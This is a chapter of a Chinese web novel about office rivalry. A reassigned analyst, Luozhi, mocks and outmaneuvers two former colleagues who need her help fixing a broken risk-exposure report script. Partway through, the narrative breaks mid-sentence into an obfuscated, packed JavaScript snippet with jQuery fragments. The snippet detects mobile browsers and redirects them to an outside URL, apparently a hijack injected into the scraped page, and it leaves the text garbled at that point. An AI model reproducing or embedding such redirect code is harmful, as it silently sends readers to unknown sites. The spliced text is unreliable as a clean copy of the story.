29. 第29章
作品:《没关系,我会发疯》 #与其埋怨自己,不如埋了别人
罗芝走后,风险敞口报告就落到了佳文头上。
说实话,这份季度性报告本身并不复杂,报告的头部列明各类风险因子,底部附上整体敞口总表,中间穿插几张多维数据透视图,最关键的也不过是流动性暴露、信用敞口和利率敏感度这三项指标。
按照常规流程,只需将各资产包的最新数据导入脚本,跑一圈代码再稍加核对,最多一天就能收工。
但要命的是,数据组又双叒叕变动了。
这已经是三个月内的第三次调整,前两次只是人事轮换,新经理接手旧项目,磕磕碰碰一脸懵,前两天还勉强能凑合过去,这次则直接铲了个大的:整个底层数据的格式接口被改了,字段顺序、格式、命名统统推倒重来,原先罗芝一手写出来的抽取逻辑,现在压根跑不动了。
佳文盯着屏幕上本该自动更新的表格,全部被一行行醒目的井号代替,捏着咖啡杯的手指都白了。
她只好硬着头皮去找数据组的新组长,一个刚空降不久、还没捂热屁股的愣头青。
“林经理,我想确认一下,这个月的资产底表是不是字段结构有变动?我们这边的代码跑不出来,逻辑都对不上了。”佳文维持着一贯的优雅。
林经理秒回,语气轻松:“哦,是啊。我们这边刚迁完库,字段做了一次统一优化,顺序格式那些肯定会有所调整的。”
佳文强忍住翻白眼的冲动,脸上仍挂着职业的微笑:“那请问,现在的字段对照表可以提供吗?或者,有接口说明文档吗?”
对方竟然大大咧咧地回了一个摊手的表情:“这个嘛……我们只做数据层的改动,至于你们上层怎么适配,那就是资管组自己的事啦,以前不都是那个叫罗芝的在对接吗?你去问她就好了呀,她不是还在风管部门嘛?”
佳文嘴角勉强牵着一抹微笑,只是后牙槽都酸了:“哎呀,是这样,罗芝已经调去财务组了,这会儿正在对接年报审计,我这边实在不好意思打扰她。”
“这有什么打扰不打扰的?”林经理瞪大眼睛,完全没理解佳文的想法。
也不知道他是真的什么都不知道还是借着刚上任的机会装傻充愣,全摩美都知道资管组的罗芝和佳文撕破了脸,从闺蜜变成了死敌,偏偏这位经理懒洋洋地靠在椅背上,事不关己高高挂起。
“咱们三个组都在风管部门下面,本来就是平行关系,你怕麻烦财务组的罗芝,就不怕麻烦数据组的我了?我说佳文啊,你这也太厚此薄彼了吧。”
佳文:……
佳文咬着牙努力维持体面的步伐,然而细带高跟鞋哒哒哒踩在走廊上,节奏全乱,像个岔了气的古董钟表。
她回头狠狠瞪了一眼林经理办公室的门,眼底裹着怒意,一向细腻优雅的妆容也有些崩裂。
怎么办?现在该怎么办?
她不是没想过自己硬着头皮改代码,可是罗芝当年搭的逻辑实在复杂,嵌套了整整三层动态参数,变量层层绑定,模块之间彼此关联,到处都是陷阱,她该从哪里下手?
她依稀记得最初的版本没这么难用,只是这几年数据组变动频繁,每次都需要罗芝手动修复,补丁垒了一个又一个,终于一怒之下熬了个大夜,把所有结构推翻重建,一口气完成了自动化,所有报表升级为可拓展的动态嵌套模块,从此页面整洁了,效率提高了,但外行人想要接手的难度也大幅提升了。
现在这种情况,佳文得从主函数到子模块全线重写,她只学过一点金融分析,写几个简单的筛选语句还行,遇到这种从底到顶结构性调整,只能干瞪眼。
佳文站在门外,一筹莫展。
难道真的要去求罗芝吗?!
想到这儿,她狠狠咬了咬牙,倦意和恼怒混杂着从唇角浮起,眼角肌肉都不自觉地抽搐了两下,更显面色狰狞。
她不想承认自己败北,却也心知肚明,自己现在处境艰难,实在是踢到了一块坚硬的铁板。
然而现在已经来不及悔恨了,时间紧迫,季度大会近在眼前,开会前维德要亲自审阅所有报表,留给她的时间已经不多。
该怎么办,到底该怎么办?
佳文陷入焦灼,思来想去,还是去找了绮芸。
不知两人谈了什么条件,交换了怎样的筹码,总之,傍晚下班时前,绮芸优雅地出现在财务组,伸手在罗芝的隔板前轻轻敲了两下。
罗芝抬头,眼前的绮芸一如既往的精致,她穿着一条剪裁考究的香槟色真丝连衣裙,细碎的光泽随着办公区的灯光不停地流转,耳垂上一对珍珠耳钉,在她侧头时泛起一点不动声色的柔光。
她还是老样子,细节之处无一不讲究,又不过分张扬,只在无声中宣告一种老练的温柔。
“绮芸啊,”罗芝于是赞叹道,“佳文不愧是你带出来的,穿衣打扮都跟你如出一辙,你们说话那么精巧,不知道的还以为都排练过了呢。”
绮芸一怔,完全没想到罗芝竟已这般无所顾忌,她下意识地扯了扯嘴角,想照旧用那套老练的话术缓解氛围,却发现自己笑不出来——眼前罗芝已经在笑了。
罗芝咧着嘴角,笑得薄情又清醒:“都说螳螂捕蝉黄雀在后,之前佳文背刺我,结果却是你把项目从她手里夺去,现在她求到你头上,为了还这份人情,你就来替她跟我开口……是这样么,我理解的对吗?”
“当然不是!”绮芸脱口而出,声音比她预想的还尖,像是被戳中了痛处。
她脸色骤然泛白,心口猛地一紧。
罗芝却像早就预料到一样,摆摆手,嘴角依旧挂着那抹似有若无的笑:“不是就不是嘛,绮芸,我随便乱说的而已。”
她风淡云轻,转手打开笔记本,手指在键盘上噼里啪啦一顿,仿佛刚才那段话不过是茶余饭后的闲聊。
几秒钟后,报告页面跃然屏幕上,罗芝愉快地说:“来,我们来看报告吧。”
事情进展的竟然比想象中顺利的多。
绮芸眼睛一亮,赶紧拿出小本本记笔记。
但十分钟后,她放下了笔。
罗芝还在滔滔不绝:“这部分你可以换分组字段,用多维透视的方式动态拆分,或者加一组蒙特卡洛模拟也行,当然了,也可以像谭经理上次那样,把信用敞口做底层拉链表,每周增量滚动一次,回溯出月度流动性缺口变化曲线。”
她说得越来越快,越来越兴奋,眼睛里亮着熠熠的光:“对了,我觉得还可以再加一个非标准资产的现金流映射,把另类投资部分单独分出来,要不再做一次压测吧?哎,可以再搞个动态敏感度分析,把不同资产类别之间的相互影响建模出来,三维可视化,超酷的!”
“芝,你好好说,别这么发散——”
绮芸忍不住打断,声音里带着难以掩饰的焦灼:“现在到底应该怎么做?”
罗芝却沉浸在头脑风暴里,完全停不下来:“要不就直接调联动函数,用主成分分析——虽然有点暴力,但胜在快啊。”
她像打开了某个禁忌的闸门,话题越飘越远,越飞越高,完全没有一点现实落地的考量。
绮芸脸色一沉:“芝,你严肃一点行吗?报告明天就要交了,我们时间紧迫,现在得把具体的问题解决掉!”
空气瞬间一滞。
罗芝终于抬头看着她,慢悠悠地说:“没有比我更严肃的人了啊。”
她歪着头,突然又笑了:“咱们都是为了项目好嘛,才要想出这么多可以改进的方向,不是吗?”
“是……是这样没错。”绮芸面色晦涩,眉心紧蹙:“但是……”
她一时间竟无言以对。
绮芸胸口发紧,半晌才闷闷地开口:“芝,能不能先放下过去的事情,你也说了,咱们现在都希望能把这个报告做好,这是我们共同的目标。”
“当然,我当然希望报告好,只是这个好与不好要取决于你怎么看了,怎么做才是对报告好,怎么是不好?好与不好都体现在哪里呢?怎样才能把好与不好融合在一起,或者说分开呢?”
她一边说,一边抬起头,嘴角缓缓扬起一个标准而浮夸的笑容。眼下这个语境实在不适合笑,而且她咧嘴假笑的角度,显得温和却空洞,非常熟悉,怎么会这么熟……悉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473067|167756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
绮芸一惊,心脏猛地一沉。
她在模仿我……罗芝在模仿我!
意识到这点,绮芸脸色骤变,一股莫名的羞耻像浪潮一样冲上头颅。
从语气、措辞,到那略带演戏意味的笑容,罗芝就像一面镜子,把她曾用来敷衍、打动、安抚别人的手段,一丝不差地原样奉还。那种被拆穿的感觉,比被羞辱更叫人难堪。
她终于忍不住了,恼羞成怒道:“罗芝!你不要以为升级成初级分析师就可以乱来,我们现在是拴在一根绳子上的蚂蚁,报告做不出来,维德也不会放过你的!”
“Nonono,你跟佳文是拴在一根绳子上的,我不是。”罗芝耐心地纠正她,又补充道:“并且让你失望了,维德就是会放过我,怎么,你羡慕吗?”
她眼神忽然沉下去,语气一寸寸压低:“我自己挣来的东西,你羡慕不来。”
“你!”绮芸的伪装终于崩溃,那张原本温婉从容的脸因为愤怒而扭曲,唇角不再收敛,声音也不再圆滑,甚至有些撕裂感,“你用了什么手段让他对你如此偏袒?罗芝,我们在职场,讲究一个公平竞争——你使这些恶意手段去套近乎,就不觉得羞愧吗?”
“我不觉得。”罗芝毫不犹豫地接上了话,不闪不避,反而好奇起来:“其实要论心虚和羞愧,还远远轮不到我——绮芸,这几年你为了排挤同僚又使过多少手段,你忘了?那要我帮你从头数数吗?”
“……我做的一切,都是为了公司的业绩!”绮芸提高了嗓门,像是要掩饰什么:“难道你希望项目失败,团队出丑,给竞争对手看笑话,你就心满意足了?!”
罗芝笑了:“你瞧瞧你话说的,我又不是合伙人,绮芸,你的自我认知是不是太高了一点,还真拿摩美当自家产业啊?”
她站起身来,摆出一个送客的姿势,语气轻巧却句句锤心:“都是打工人,绮芸,你清醒一点吧。”
“罗芝,罗芝……你给我走着瞧!”绮芸声音发颤,脸上的粉底都因愤怒渗出了细细的汗痕,她转身时步伐太急,鞋跟在地毯边缘一歪,踉跄了两步,险些摔倒。
她更气了,肩膀紧绷、步伐凌乱,一晃一晃地飞速走开。
那份曾引以为傲的优雅,被羞怒搅乱成了滑稽。
罗芝在她身后,意味深长地叹了口气。
绮芸她怎么这么天真啊。
她忽然意识到,大约是过去的自己实在太怂了,怂得让人彻底放松了警惕,再难相信她手上其实也是有牌的。
所以现在要突然纠正这种认知,一时片刻的,还真扭转不过来。
她何止有牌,这张牌可是维德啊!
但光靠维德也是不行的,罗芝在工位上默不作声,思索了一会儿,然后悄悄调出了原始版本的代码,把最初的建模逻辑、演算过程和数据分析的迭代过程都存档留痕,瞧瞧挪去了审计系统。
“罗芝姐,绮芸姐看上去真的有点难搞……”艾雅凑过来,小声感叹:“你以前在资管组,能占有一席之地,也是不容易。”
“你错了,”罗芝做完这一系列动作,果断地合上屏幕,语气平静,“这世界本来就有我的一席之地。”
她在艾雅惊叹又敬佩的目光中,收了包下班。
走前,她望向资管组的方向,绮芸已经不知道去哪里生闷气了,但资管组的灯一直亮亮着。
她在资管组待的时间其实比谁都长,谭经理已经调走,绮芸的经理任命书却迟迟不下,招聘信息已经po到了官网上,摩美很明显是骑驴找马。
罗芝叹了一声。
绮芸和佳文,她们为了形成统一战线,费尽了心机,不遗余力苦心经营,用时尚美妆、业余兴趣等等外在的包装来抬高身价,达到清除异己的目的,曾经她被她们打造出的高贵姿态唬住,陷入长久的精神内耗,但现在她才发现,那所谓的战线不过是一层巨大的泡沫,一戳就碎,根本经不起敲打。
罗芝轻轻啧了一声,笑意淡淡。
原来就是这点儿手段,不过如此罢了。
罗芝罗芝,从今往后,永远别再看轻了自己。